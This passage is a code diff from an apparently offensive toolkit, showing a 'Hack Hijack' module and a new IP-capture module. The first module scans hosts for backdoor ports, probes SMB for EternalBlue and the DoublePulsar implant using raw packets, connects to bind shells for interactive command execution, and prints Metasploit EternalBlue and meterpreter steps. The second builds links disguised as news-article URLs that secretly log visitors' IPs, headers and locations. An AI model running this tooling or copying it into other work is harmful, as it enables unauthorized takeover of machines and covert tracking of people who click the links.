_load_scans(self): + if os.path.exists(self._scans_file): + try: + with open(self._scans_file, 'r') as f: + self._scans = json.load(f) + except Exception: + self._scans = [] + + def _save_scans(self): + with open(self._scans_file, 'w') as f: + json.dump(self._scans[-100:], f, indent=2) # keep last 100 + + # ── Port Scanning ───────────────────────────────────────────────────── + + def scan_target(self, target: str, scan_type: str = 'quick', + custom_ports: List[int] = None, + timeout: float = 3.0, + progress_cb=None) -> ScanResult: + """Scan a target for open ports and backdoor indicators. + + scan_type: 'quick' (signature ports only), 'full' (signature + extra), + 'nmap' (use nmap if available), 'custom' (user-specified ports) + """ + start = time.time() + result = ScanResult( + target=target, + scan_time=datetime.now(timezone.utc).isoformat(), + duration=0.0, + ) + + # Build port list + ports = set() + if scan_type == 'custom' and custom_ports: + ports = set(custom_ports) + else: + # Always include signature ports + for sig in BACKDOOR_SIGNATURES: + ports.add(sig.port) + if scan_type in ('full', 'nmap'): + ports.update(EXTRA_SUSPICIOUS_PORTS) + + # Try nmap first if requested and available + if scan_type == 'nmap': + nmap_result = self._nmap_scan(target, ports, timeout) + if nmap_result: + result.open_ports = nmap_result.get('ports', []) + result.os_guess = nmap_result.get('os', '') + result.nmap_raw = nmap_result.get('raw', '') + + # Fallback: socket-based scan + if not result.open_ports: + sorted_ports = sorted(ports) + total = len(sorted_ports) + results_lock = threading.Lock() + open_ports = [] + + def scan_port(port): + pr = self._check_port(target, port, timeout) + if pr and pr.state == 'open': + with results_lock: + open_ports.append(pr) + + # Threaded scan — 50 concurrent threads + threads = [] + for i, port in enumerate(sorted_ports): + t = threading.Thread(target=scan_port, args=(port,), daemon=True) + threads.append(t) + t.start() + if len(threads) >= 50: + for t in threads: + t.join(timeout=timeout + 2) + threads.clear() + if progress_cb and i % 10 == 0: + progress_cb(i, total) + for t in threads: + t.join(timeout=timeout + 2) + + result.open_ports = sorted(open_ports, key=lambda p: p.port) + + # Match open ports against backdoor signatures + result.backdoors = self._match_signatures(target, result.open_ports, timeout) + + # Check SMB specifically for EternalBlue + if any(p.port == 445 and p.state == 'open' for p in result.open_ports): + result.smb_info = self._check_smb(target, timeout) + # Check DoublePulsar + dp_result = self._check_doublepulsar(target, timeout) + if dp_result: + result.backdoors.append(dp_result) + + result.duration = time.time() - start + + # Save scan + scan_dict = result.to_dict() + self._scans.append(scan_dict) + self._save_scans() + + return result + + def _check_port(self, host: str, port: int, timeout: float) -> Optional[PortResult]: + """TCP connect scan on a single port with banner grab.""" + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + result = sock.connect_ex((host, port)) + if result == 0: + banner = '' + service = '' + try: + # Try to grab banner + sock.settimeout(2.0) + # Send probe for known ports + probe = self._get_probe(port) + if probe: + sock.send(probe) + banner = sock.recv(1024).decode('utf-8', errors='replace').strip() + service = self._identify_service(port, banner) + except Exception: + service = self._identify_service(port, '') + sock.close() + return PortResult(port=port, protocol='tcp', state='open', + banner=banner[:512], service=service) + sock.close() + except Exception: + pass + return None + + def _get_probe(self, port: int) -> bytes: + """Return an appropriate probe for known ports.""" + probes = { + 21: b'', # FTP sends banner automatically + 22: b'', # SSH sends banner automatically + 23: b'', # Telnet sends banner automatically + 25: b'', # SMTP sends banner + 80: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n', + 110: b'', # POP3 banner + 143: b'', # IMAP banner + 443: b'', # HTTPS — won't get plaintext banner + 3306: b'', # MySQL banner + 3389: b'', # RDP — binary protocol + 5432: b'', # PostgreSQL + 6379: b'INFO\r\n', # Redis + 8080: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n', + 8443: b'', + 8888: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n', + 27017: b'', # MongoDB + } + # Check backdoor signatures for specific probes + for sig in BACKDOOR_SIGNATURES: + if sig.port == port and sig.probe: + return sig.probe + return probes.get(port, b'') + + def _identify_service(self, port: int, banner: str) -> str: + """Identify service from port number and banner.""" + bl = banner.lower() + if 'ssh-' in bl: + return 'SSH' + if 'ftp' in bl: + return 'FTP' + if 'smtp' in bl or '220 ' in bl: + return 'SMTP' + if 'http' in bl: + return 'HTTP' + if 'mysql' in bl: + return 'MySQL' + if 'redis' in bl: + return 'Redis' + if 'mongo' in bl: + return 'MongoDB' + if 'postgresql' in bl: + return 'PostgreSQL' + + well_known = { + 21: 'FTP', 22: 'SSH', 23: 'Telnet', 25: 'SMTP', + 53: 'DNS', 80: 'HTTP', 110: 'POP3', 143: 'IMAP', + 443: 'HTTPS', 445: 'SMB', 993: 'IMAPS', 995: 'POP3S', + 1080: 'SOCKS', 1433: 'MSSQL', 1521: 'Oracle', + 3306: 'MySQL', 3389: 'RDP', 5432: 'PostgreSQL', + 5900: 'VNC', 6379: 'Redis', 8080: 'HTTP-Alt', + 8443: 'HTTPS-Alt', 27017: 'MongoDB', + } + return well_known.get(port, 'unknown') + + def _match_signatures(self, host: str, open_ports: List[PortResult], + timeout: float) -> List[BackdoorHit]: + """Match open ports against backdoor signatures.""" + hits = [] + port_map = {p.port: p for p in open_ports} + + for sig in BACKDOOR_SIGNATURES: + if sig.port not in port_map: + continue + port_info = port_map[sig.port] + confidence = 'low' + details = '' + + # Banner match raises confidence + if sig.banner_pattern and sig.banner_pattern.lower() in port_info.banner.lower(): + confidence = 'high' + details = f'Banner matches: {sig.banner_pattern}' + elif port_info.banner: + # Port open with some banner — medium + confidence = 'medium' + details = f'Port open, banner: {port_info.banner[:100]}' + else: + # Port open but no banner — check if it's a well-known service + if port_info.service in ('SSH', 'HTTP', 'HTTPS', 'FTP', 'SMTP', + 'DNS', 'MySQL', 'PostgreSQL', 'RDP'): + # Legitimate service likely — low confidence for backdoor + confidence = 'low' + details = f'Port open — likely legitimate {port_info.service}' + else: + confidence = 'medium' + details = 'Port open, no banner — suspicious' + + hits.append(BackdoorHit( + signature=sig.name, + port=sig.port, + confidence=confidence, + banner=port_info.banner[:256], + details=details, + category=sig.category, + takeover_method=sig.takeover_method, + )) + + return hits + + # ── SMB / EternalBlue Detection ─────────────────────────────────────── + + def _check_smb(self, host: str, timeout: float) -> dict: + """Check SMB service details.""" + info = {'vulnerable': False, 'version': '', 'os': '', 'signing': ''} + nmap = find_tool('nmap') + if not nmap: + return info + try: + cmd = [nmap, '-Pn', '-p', '445', '--script', + 'smb-os-discovery,smb-security-mode,smb-vuln-ms17-010', + '-oN', '-', host] + result = subprocess.run(cmd, capture_output=True, text=True, + timeout=30) + output = result.stdout + info['raw'] = output + if 'VULNERABLE' in output or 'ms17-010' in output.lower(): + info['vulnerable'] = True + if 'OS:' in output: + for line in output.splitlines(): + if 'OS:' in line: + info['os'] = line.split('OS:')[1].strip() + break + if 'message_signing' in output.lower(): + if 'disabled' in output.lower(): + info['signing'] = 'disabled' + elif 'enabled' in output.lower(): + info['signing'] = 'enabled' + except Exception as e: + info['error'] = str(e) + return info + + def _check_doublepulsar(self, host: str, timeout: float) -> Optional[BackdoorHit]: + """Check for DoublePulsar SMB implant via Trans2 SESSION_SETUP probe. + + DoublePulsar responds to a specific SMB Trans2 SESSION_SETUP with + a modified multiplex ID (STATUS_NOT_IMPLEMENTED + MID manipulation). + """ + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + sock.connect((host, 445)) + + # SMB negotiate + negotiate = ( + b'\x00\x00\x00\x85' # NetBIOS + b'\xff\x53\x4d\x42' # SMB + b'\x72' # Negotiate + b'\x00\x00\x00\x00' # Status + b'\x18\x53\xc0' # Flags + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + b'\x00\x00\xff\xff\xff\xfe\x00\x00' + b'\x00\x00\x00\x00\x00\x62\x00' + b'\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b' + b'\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e' + b'\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e' + b'\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20' + b'\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f' + b'\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c' + b'\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c' + b'\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e' + b'\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00' + ) + sock.send(negotiate) + sock.recv(1024) + + # SMB Trans2 SESSION_SETUP (DoublePulsar detection probe) + trans2 = ( + b'\x00\x00\x00\x4e' # NetBIOS + b'\xff\x53\x4d\x42' # SMB header + b'\x32' # Trans2 + b'\x00\x00\x00\x00' # Status + b'\x18\x07\xc0' # Flags + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + b'\x00\x00\x00\x00\xff\xfe\x00\x08' # MID=0x0800 + b'\x00\x00\x0f\x0c\x00\x00\x00\x01' + b'\x00\x00\x00\x00\x00\x00\x00' + b'\xa6\xd9\xa4\x00\x00\x00\x00\x00' + b'\x00\x0e\x00\x00\x00\x0c\x00\x42\x00' + b'\x00\x00\x00\x00\x01\x00\x0e\x00' + b'\x00\x00\x0c\x00\x00\x00\x00\x00' + ) + sock.send(trans2) + resp = sock.recv(1024) + sock.close() + + if len(resp) >= 36: + # Check multiplex ID — DoublePulsar modifies it + mid = struct.unpack(' Optional[dict]: + """Use nmap for comprehensive scan if available.""" + nmap = find_tool('nmap') + if not nmap: + return None + try: + port_str = ','.join(str(p) for p in sorted(ports)) + cmd = [nmap, '-Pn', '-sV', '-O', '--version-intensity', '5', + '-p', port_str, '-oN', '-', host] + result = subprocess.run(cmd, capture_output=True, text=True, + timeout=120) + output = result.stdout + parsed_ports = [] + os_guess = '' + + for line in output.splitlines(): + # Parse port lines: "445/tcp open microsoft-ds" + if '/tcp' in line or '/udp' in line: + parts = line.split() + if len(parts) >= 3: + port_proto = parts[0].split('/') + if len(port_proto) == 2 and parts[1] == 'open': + parsed_ports.append(PortResult( + port=int(port_proto[0]), + protocol=port_proto[1], + state='open', + service=' '.join(parts[2:]), + )) + if 'OS details:' in line: + os_guess = line.split('OS details:')[1].strip() + elif 'Running:' in line: + os_guess = os_guess or line.split('Running:')[1].strip() + + return { + 'ports': parsed_ports, + 'os': os_guess, + 'raw': output, + } + except Exception: + return None + + # ── Takeover Methods ────────────────────────────────────────────────── + + def connect_raw_shell(self, host: str, port: int, + timeout: float = 5.0) -> dict: + """Connect to a raw bind shell (netcat-style).""" + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + sock.connect((host, port)) + # Try to get initial output + try: + sock.settimeout(2.0) + initial = sock.recv(4096).decode('utf-8', errors='replace') + except Exception: + initial = '' + session_id = f'shell_{host}_{port}_{int(time.time())}' + self._active_sessions[session_id] = { + 'type': 'raw_shell', + 'host': host, + 'port': port, + 'socket': sock, + 'connected_at': datetime.now(timezone.utc).isoformat(), + } + return { + 'ok': True, + 'session_id': session_id, + 'initial_output': initial, + 'message': f'Connected to bind shell at {host}:{port}', + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + def shell_execute(self, session_id: str, command: str, + timeout: float = 10.0) -> dict: + """Execute a command on an active shell session.""" + session = self._active_sessions.get(session_id) + if not session: + return {'ok': False, 'error': 'Session not found'} + sock = session.get('socket') + if not sock: + return {'ok': False, 'error': 'No socket for session'} + try: + sock.settimeout(timeout) + sock.send((command + '\n').encode()) + time.sleep(0.5) + output = b'' + sock.settimeout(2.0) + while True: + try: + chunk = sock.recv(4096) + if not chunk: + break + output += chunk + except socket.timeout: + break + return { + 'ok': True, + 'output': output.decode('utf-8', errors='replace'), + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + def close_session(self, session_id: str) -> dict: + """Close an active session.""" + session = self._active_sessions.pop(session_id, None) + if not session: + return {'ok': False, 'error': 'Session not found'} + sock = session.get('socket') + if sock: + try: + sock.close() + except Exception: + pass + return {'ok': True, 'message': 'Session closed'} + + def list_sessions(self) -> List[dict]: + """List active takeover sessions.""" + return [ + { + 'session_id': sid, + 'type': s['type'], + 'host': s['host'], + 'port': s['port'], + 'connected_at': s['connected_at'], + } + for sid, s in self._active_sessions.items() + ] + + def attempt_takeover(self, host: str, backdoor: dict) -> dict: + """Attempt to take over a detected backdoor. + + Routes to the appropriate takeover method based on the signature. + """ + method = backdoor.get('takeover_method', '') + port = backdoor.get('port', 0) + + if method == 'raw_shell': + return self.connect_raw_shell(host, port) + + if method == 'meterpreter_connect': + return self._takeover_via_msf(host, port, 'meterpreter') + + if method == 'meterpreter_session': + return self._takeover_via_msf(host, port, 'meterpreter') + + if method == 'doublepulsar_inject': + return self._takeover_doublepulsar(host) + + if method == 'ssh_connect': + return {'ok': False, + 'message': f'SSH detected on {host}:{port}. ' + 'Use Offense → Reverse Shell for SSH access, ' + 'or try default credentials.'} + + if method == 'webshell_detect': + return self._detect_webshell(host, port) + + if method == 'socks_connect': + return {'ok': True, + 'message': f'SOCKS proxy at {host}:{port}. ' + f'Configure proxychains: socks5 {host} {port}'} + + if method == 'http_proxy_use': + return {'ok': True, + 'message': f'HTTP proxy at {host}:{port}. ' + f'export http_proxy=http://{host}:{port}'} + + if method == 'generic_connect': + return self.connect_raw_shell(host, port) + + return {'ok': False, 'error': f'No takeover handler for method: {method}'} + + def _takeover_via_msf(self, host: str, port: int, payload_type: str) -> dict: + """Attempt takeover using Metasploit if available.""" + try: + from core.msf_interface import get_msf_interface + msf = get_msf_interface() + if not msf.is_connected: + return {'ok': False, + 'error': 'Metasploit not connected. Connect via Offense page first.'} + # Use multi/handler to connect to bind shell + return { + 'ok': True, + 'message': f'Metasploit available. Create handler: ' + f'use exploit/multi/handler; ' + f'set PAYLOAD windows/meterpreter/bind_tcp; ' + f'set RHOST {host}; set LPORT {port}; exploit', + 'msf_command': f'use exploit/multi/handler\n' + f'set PAYLOAD windows/meterpreter/bind_tcp\n' + f'set RHOST {host}\nset LPORT {port}\nexploit', + } + except ImportError: + return {'ok': False, 'error': 'Metasploit module not available'} + + def _takeover_doublepulsar(self, host: str) -> dict: + """Provide DoublePulsar exploitation guidance.""" + return { + 'ok': True, + 'message': f'DoublePulsar detected on {host}:445. Use Metasploit:\n' + f' use exploit/windows/smb/ms17_010_eternalblue\n' + f' set RHOSTS {host}\n' + f' set PAYLOAD windows/x64/meterpreter/reverse_tcp\n' + f' set LHOST \n' + f' exploit\n\n' + f'Or inject DLL via existing DoublePulsar implant:\n' + f' use exploit/windows/smb/ms17_010_psexec\n' + f' set RHOSTS {host}\n' + f' exploit', + 'msf_command': f'use exploit/windows/smb/ms17_010_eternalblue\n' + f'set RHOSTS {host}\n' + f'set PAYLOAD windows/x64/meterpreter/reverse_tcp\n' + f'exploit', + } + + def _detect_webshell(self, host: str, port: int) -> dict: + """Probe HTTP service for common web shells.""" + shells_found = [] + common_paths = [ + '/cmd.php', '/shell.php', '/c99.php', '/r57.php', + '/webshell.php', '/backdoor.php', '/upload.php', + '/cmd.asp', '/shell.asp', '/cmd.aspx', '/shell.aspx', + '/cmd.jsp', '/shell.jsp', + '/.hidden/shell.php', '/images/shell.php', + '/uploads/shell.php', '/tmp/shell.php', + '/wp-content/uploads/shell.php', + '/wp-includes/shell.php', + ] + try: + import requests as req + for path in common_paths: + try: + r = req.get(f'http://{host}:{port}{path}', timeout=3, + allow_redirects=False) + if r.status_code == 200 and len(r.text) > 0: + # Check if it looks like a shell + text = r.text.lower() + indicators = ['execute', 'command', 'shell', 'system(', + 'passthru', 'exec(', 'cmd', 'uname', + 'phpinfo', 'eval('] + if any(ind in text for ind in indicators): + shells_found.append({ + 'path': path, + 'size': len(r.text), + 'status': r.status_code, + }) + except Exception: + continue + except ImportError: + return {'ok': False, 'error': 'requests library not available for web shell detection'} + + if shells_found: + return { + 'ok': True, + 'message': f'Found {len(shells_found)} web shell(s) on {host}:{port}', + 'shells': shells_found, + } + return { + 'ok': True, + 'message': f'No common web shells found on {host}:{port}', + 'shells': [], + } + + # ── History ─────────────────────────────────────────────────────────── + + def get_scan_history(self) -> List[dict]: + return list(reversed(self._scans)) + + def clear_history(self) -> dict: + self._scans.clear() + self._save_scans() + return {'ok': True, 'message': 'Scan history cleared'} + + +# ── Singleton ───────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_hack_hijack() -> HackHijackService: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = HackHijackService() + return _instance + + +# ── CLI ─────────────────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for Hack Hijack.""" + svc = get_hack_hijack() + + while True: + print("\n╔═══════════════════════════════════════╗") + print("║ HACK HIJACK — Takeover ║") + print("╠═══════════════════════════════════════╣") + print("║ 1 — Quick Scan (backdoor ports) ║") + print("║ 2 — Full Scan (all suspicious) ║") + print("║ 3 — Nmap Deep Scan ║") + print("║ 4 — View Scan History ║") + print("║ 5 — Active Sessions ║") + print("║ 0 — Back ║") + print("╚═══════════════════════════════════════╝") + + choice = input("\n Select: ").strip() + + if choice == '0': + break + elif choice in ('1', '2', '3'): + target = input(" Target IP: ").strip() + if not target: + continue + scan_type = {'1': 'quick', '2': 'full', '3': 'nmap'}[choice] + print(f"\n Scanning {target} ({scan_type})...") + + def progress(current, total): + print(f" [{current}/{total}] ports scanned", end='\r') + + result = svc.scan_target(target, scan_type=scan_type, + progress_cb=progress) + print(f"\n Scan complete in {result.duration:.1f}s") + print(f" Open ports: {len(result.open_ports)}") + + if result.open_ports: + print("\n PORT STATE SERVICE BANNER") + print(" " + "-" * 60) + for p in result.open_ports: + banner = p.banner[:40] if p.banner else '' + print(f" {p.port:<9} {p.state:<7} {p.service:<10} {banner}") + + if result.backdoors: + print(f"\n BACKDOOR INDICATORS ({len(result.backdoors)}):") + print(" " + "-" * 60) + for i, bd in enumerate(result.backdoors, 1): + color = {'high': '\033[91m', 'medium': '\033[93m', + 'low': '\033[90m'}.get(bd.confidence, '') + reset = '\033[0m' + print(f" {i}. {color}[{bd.confidence.upper()}]{reset} " + f"{bd.signature} (port {bd.port})") + if bd.details: + print(f" {bd.details}") + + # Offer takeover + try: + sel = input("\n Attempt takeover? Enter # (0=skip): ").strip() + if sel and sel != '0': + idx = int(sel) - 1 + if 0 <= idx < len(result.backdoors): + bd = result.backdoors[idx] + bd_dict = { + 'port': bd.port, + 'takeover_method': bd.takeover_method, + } + r = svc.attempt_takeover(target, bd_dict) + if r.get('ok'): + print(f"\n {r.get('message', 'Success')}") + if r.get('session_id'): + print(f" Session: {r['session_id']}") + # Interactive shell + while True: + cmd = input(f" [{target}]$ ").strip() + if cmd in ('exit', 'quit', ''): + svc.close_session(r['session_id']) + break + out = svc.shell_execute(r['session_id'], cmd) + if out.get('ok'): + print(out.get('output', '')) + else: + print(f" Error: {out.get('error')}") + else: + print(f"\n Failed: {r.get('error', 'Unknown error')}") + except (ValueError, IndexError): + pass + + if result.smb_info.get('vulnerable'): + print("\n [!] SMB MS17-010 (EternalBlue) VULNERABLE") + print(f" OS: {result.smb_info.get('os', 'unknown')}") + print(f" Signing: {result.smb_info.get('signing', 'unknown')}") + + if result.os_guess: + print(f"\n OS Guess: {result.os_guess}") + + elif choice == '4': + history = svc.get_scan_history() + if not history: + print("\n No scan history.") + continue + print(f"\n Scan History ({len(history)} scans):") + for i, scan in enumerate(history[:20], 1): + bds = len(scan.get('backdoors', [])) + high = sum(1 for b in scan.get('backdoors', []) + if b.get('confidence') == 'high') + print(f" {i}. {scan['target']} — " + f"{len(scan.get('open_ports', []))} open, " + f"{bds} indicators ({high} high) — " + f"{scan['scan_time'][:19]}") + + elif choice == '5': + sessions = svc.list_sessions() + if not sessions: + print("\n No active sessions.") + continue + print(f"\n Active Sessions ({len(sessions)}):") + for s in sessions: + print(f" {s['session_id']} — {s['type']} → " + f"{s['host']}:{s['port']} " + f"(since {s['connected_at'][:19]})") diff --git a/modules/ipcapture.py b/modules/ipcapture.py new file mode 100644 index 0000000..86acbd8 --- /dev/null +++ b/modules/ipcapture.py @@ -0,0 +1,427 @@ +"""IP Capture & Redirect — stealthy link tracking for OSINT. + +Create disguised links that capture visitor IP + metadata, +then redirect to a legitimate target URL. Fast 302 redirect, +realistic URL paths, no suspicious indicators. +""" + +DESCRIPTION = "IP Capture & Redirect — stealthy link tracking" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "osint" + +import os +import json +import time +import random +import string +import hashlib +import threading +from datetime import datetime +from pathlib import Path +from typing import Dict, List, Optional + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Realistic URL path generation ──────────────────────────────────────────── + +_WORD_POOL = [ + 'tech', 'news', 'science', 'world', 'business', 'health', 'politics', + 'sports', 'culture', 'opinion', 'breaking', 'latest', 'update', 'report', + 'analysis', 'insight', 'review', 'guide', 'how-to', 'explained', + 'ai', 'climate', 'economy', 'security', 'research', 'innovation', + 'digital', 'global', 'local', 'industry', 'future', 'trends', + 'development', 'infrastructure', 'community', 'education', 'policy', +] + +_TITLE_PATTERNS = [ + '{adj}-{noun}-{verb}-{year}-{noun2}', + '{noun}-{adj}-{noun2}-{verb}', + 'new-{noun}-{verb}-{adj}-{noun2}', + '{noun}-report-{year}-{adj}-{noun2}', + 'how-{noun}-is-{verb}-the-{noun2}', + '{adj}-{noun}-breakthrough-{noun2}', +] + +_ADJECTIVES = [ + 'major', 'new', 'latest', 'critical', 'emerging', 'global', + 'innovative', 'surprising', 'important', 'unprecedented', +] + +_NOUNS = [ + 'technology', 'researchers', 'companies', 'governments', 'scientists', + 'industry', 'market', 'community', 'experts', 'development', +] + +_VERBS = [ + 'changing', 'transforming', 'disrupting', 'advancing', 'impacting', + 'reshaping', 'driving', 'revealing', 'challenging', 'accelerating', +] + + +def _generate_article_path() -> str: + """Generate a realistic-looking article URL path.""" + now = datetime.now() + year = now.strftime('%Y') + month = now.strftime('%m') + + pattern = random.choice(_TITLE_PATTERNS) + slug = pattern.format( + adj=random.choice(_ADJECTIVES), + noun=random.choice(_NOUNS), + noun2=random.choice(_NOUNS), + verb=random.choice(_VERBS), + year=year, + ) + + # Article-style path + styles = [ + f'/article/{year}/{month}/{slug}', + f'/news/{year}/{slug}', + f'/stories/{slug}-{random.randint(1000, 9999)}', + f'/p/{slug}', + f'/read/{hashlib.md5(slug.encode()).hexdigest()[:8]}', + ] + return random.choice(styles) + + +def _generate_short_key(length: int = 8) -> str: + """Generate a short random key.""" + chars = string.ascii_lowercase + string.digits + return ''.join(random.choices(chars, k=length)) + + +# ── IP Capture Service ─────────────────────────────────────────────────────── + +class IPCaptureService: + """Manage capture links and record visitor metadata.""" + + def __init__(self): + self._file = os.path.join(get_data_dir(), 'osint_captures.json') + self._links = {} + self._lock = threading.Lock() + self._load() + + def _load(self): + if os.path.exists(self._file): + try: + with open(self._file, 'r') as f: + self._links = json.load(f) + except Exception: + self._links = {} + + def _save(self): + os.makedirs(os.path.dirname(self._file), exist_ok=True) + with open(self._file, 'w') as f: + json.dump(self._links, f, indent=2) + + def create_link(self, target_url: str, name: str = '', + disguise: str = 'article') -> dict: + """Create a new capture link. + + Args: + target_url: The legitimate URL to redirect to after capture. + name: Friendly name for this link. + disguise: URL style — 'short', 'article', or 'custom'. + + Returns: + Dict with key, paths, and full URLs. + """ + key = _generate_short_key() + + if disguise == 'article': + article_path = _generate_article_path() + elif disguise == 'short': + article_path = f'/c/{key}' + else: + article_path = f'/c/{key}' + + with self._lock: + self._links[key] = { + 'key': key, + 'name': name or f'Link {key}', + 'target_url': target_url, + 'disguise': disguise, + 'article_path': article_path, + 'short_path': f'/c/{key}', + 'created': datetime.now().isoformat(), + 'captures': [], + 'active': True, + } + self._save() + + return { + 'ok': True, + 'key': key, + 'short_path': f'/c/{key}', + 'article_path': article_path, + 'target_url': target_url, + } + + def get_link(self, key: str) -> Optional[dict]: + return self._links.get(key) + + def list_links(self) -> List[dict]: + return list(self._links.values()) + + def delete_link(self, key: str) -> bool: + with self._lock: + if key in self._links: + del self._links[key] + self._save() + return True + return False + + def find_by_path(self, path: str) -> Optional[dict]: + """Find a link by its article path.""" + for link in self._links.values(): + if link.get('article_path') == path: + return link + return None + + def record_capture(self, key: str, ip: str, user_agent: str = '', + accept_language: str = '', referer: str = '', + headers: dict = None) -> bool: + """Record a visitor capture.""" + with self._lock: + link = self._links.get(key) + if not link or not link.get('active'): + return False + + capture = { + 'ip': ip, + 'timestamp': datetime.now().isoformat(), + 'user_agent': user_agent, + 'accept_language': accept_language, + 'referer': referer, + } + + # Extract extra metadata from headers + if headers: + for h in ['X-Forwarded-For', 'CF-Connecting-IP', 'X-Real-IP']: + val = headers.get(h, '') + if val: + capture[f'header_{h.lower().replace("-","_")}'] = val + # Connection hints + for h in ['Sec-CH-UA', 'Sec-CH-UA-Platform', 'Sec-CH-UA-Mobile', + 'DNT', 'Upgrade-Insecure-Requests']: + val = headers.get(h, '') + if val: + capture[f'hint_{h.lower().replace("-","_")}'] = val + + # GeoIP lookup (best-effort) + try: + geo = self._geoip_lookup(ip) + if geo: + capture['geo'] = geo + except Exception: + pass + + link['captures'].append(capture) + self._save() + return True + + def _geoip_lookup(self, ip: str) -> Optional[dict]: + """Best-effort GeoIP lookup using the existing geoip module.""" + try: + from modules.geoip import GeoIPLookup + geo = GeoIPLookup() + result = geo.lookup(ip) + if result and result.get('success'): + return { + 'country': result.get('country', ''), + 'region': result.get('region', ''), + 'city': result.get('city', ''), + 'isp': result.get('isp', ''), + 'lat': result.get('latitude', ''), + 'lon': result.get('longitude', ''), + } + except Exception: + pass + return None + + def get_captures(self, key: str) -> List[dict]: + link = self._links.get(key) + return link.get('captures', []) if link else [] + + def get_stats(self, key: str) -> dict: + link = self._links.get(key) + if not link: + return {} + captures = link.get('captures', []) + unique_ips = set(c['ip'] for c in captures) + return { + 'total': len(captures), + 'unique_ips': len(unique_ips), + 'first': captures[0]['timestamp'] if captures else None, + 'last': captures[-1]['timestamp'] if captures else None, + } + + def export_captures(self, key: str, fmt: str = 'json') -> str: + """Export captures to JSON or CSV string.""" + captures = self.get_captures(key) + if fmt == 'csv': + if not captures: + return 'ip,timestamp,user_agent,country,city\n' + lines = ['ip,timestamp,user_agent,country,city'] + for c in captures: + geo = c.get('geo', {}) + lines.append(','.join([ + c.get('ip', ''), + c.get('timestamp', ''), + f'"{c.get("user_agent", "")}"', + geo.get('country', ''), + geo.get('city', ''), + ])) + return '\n'.join(lines) + return json.dumps(captures, indent=2) + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_ip_capture() -> IPCaptureService: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = IPCaptureService() + return _instance + + +# ── Interactive CLI ────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for IP Capture & Redirect.""" + service = get_ip_capture() + + while True: + print("\n" + "=" * 60) + print(" IP CAPTURE & REDIRECT") + print(" Stealthy link tracking for OSINT") + print("=" * 60) + links = service.list_links() + active = sum(1 for l in links if l.get('active')) + total_captures = sum(len(l.get('captures', [])) for l in links) + print(f" Active links: {active} | Total captures: {total_captures}") + print() + print(" 1 — Create Capture Link") + print(" 2 — List Active Links") + print(" 3 — View Captures") + print(" 4 — Delete Link") + print(" 5 — Export Captures") + print(" 0 — Back") + print() + + choice = input(" Select: ").strip() + + if choice == '0': + break + elif choice == '1': + _cli_create(service) + elif choice == '2': + _cli_list(service) + elif choice == '3': + _cli_view(service) + elif choice == '4': + _cli_delete(service) + elif choice == '5': + _cli_export(service) + + +def _cli_create(service: IPCaptureService): + """Create a new capture link.""" + print("\n--- Create Capture Link ---") + target = input(" Target URL (redirect destination): ").strip() + if not target: + print(" [!] URL required") + return + if not target.startswith(('http://', 'https://')): + target = 'https://' + target + + name = input(" Friendly name []: ").strip() + print(" Disguise type:") + print(" 1 — Article URL (realistic path)") + print(" 2 — Short URL (/c/xxxxx)") + dtype = input(" Select [1]: ").strip() or '1' + disguise = 'article' if dtype == '1' else 'short' + + result = service.create_link(target, name, disguise) + if result['ok']: + print(f"\n [+] Link created!") + print(f" Key: {result['key']}") + print(f" Short URL: {result['short_path']}") + print(f" Article URL: {result['article_path']}") + print(f" Redirects to: {result['target_url']}") + else: + print(f" [-] {result.get('error', 'Failed')}") + + +def _cli_list(service: IPCaptureService): + """List all active links.""" + links = service.list_links() + if not links: + print("\n No capture links") + return + print(f"\n--- Active Links ({len(links)}) ---") + for l in links: + stats = service.get_stats(l['key']) + active = "ACTIVE" if l.get('active') else "DISABLED" + print(f"\n [{l['key']}] {l.get('name', 'Unnamed')} — {active}") + print(f" Target: {l['target_url']}") + print(f" Short: {l['short_path']}") + print(f" Article: {l.get('article_path', 'N/A')}") + print(f" Captures: {stats.get('total', 0)} ({stats.get('unique_ips', 0)} unique)") + if stats.get('last'): + print(f" Last hit: {stats['last']}") + + +def _cli_view(service: IPCaptureService): + """View captures for a link.""" + key = input(" Link key: ").strip() + captures = service.get_captures(key) + if not captures: + print(" No captures for this link") + return + print(f"\n--- Captures ({len(captures)}) ---") + for c in captures: + geo = c.get('geo', {}) + location = f"{geo.get('city', '?')}, {geo.get('country', '?')}" if geo else 'Unknown' + print(f" {c['timestamp']} {c['ip']:>15} {location}") + if c.get('user_agent'): + ua = c['user_agent'][:80] + ('...' if len(c.get('user_agent', '')) > 80 else '') + print(f" UA: {ua}") + + +def _cli_delete(service: IPCaptureService): + """Delete a link.""" + key = input(" Link key to delete: ").strip() + if service.delete_link(key): + print(" [+] Link deleted") + else: + print(" [-] Link not found") + + +def _cli_export(service: IPCaptureService): + """Export captures.""" + key = input(" Link key: ").strip() + fmt = input(" Format (json/csv) 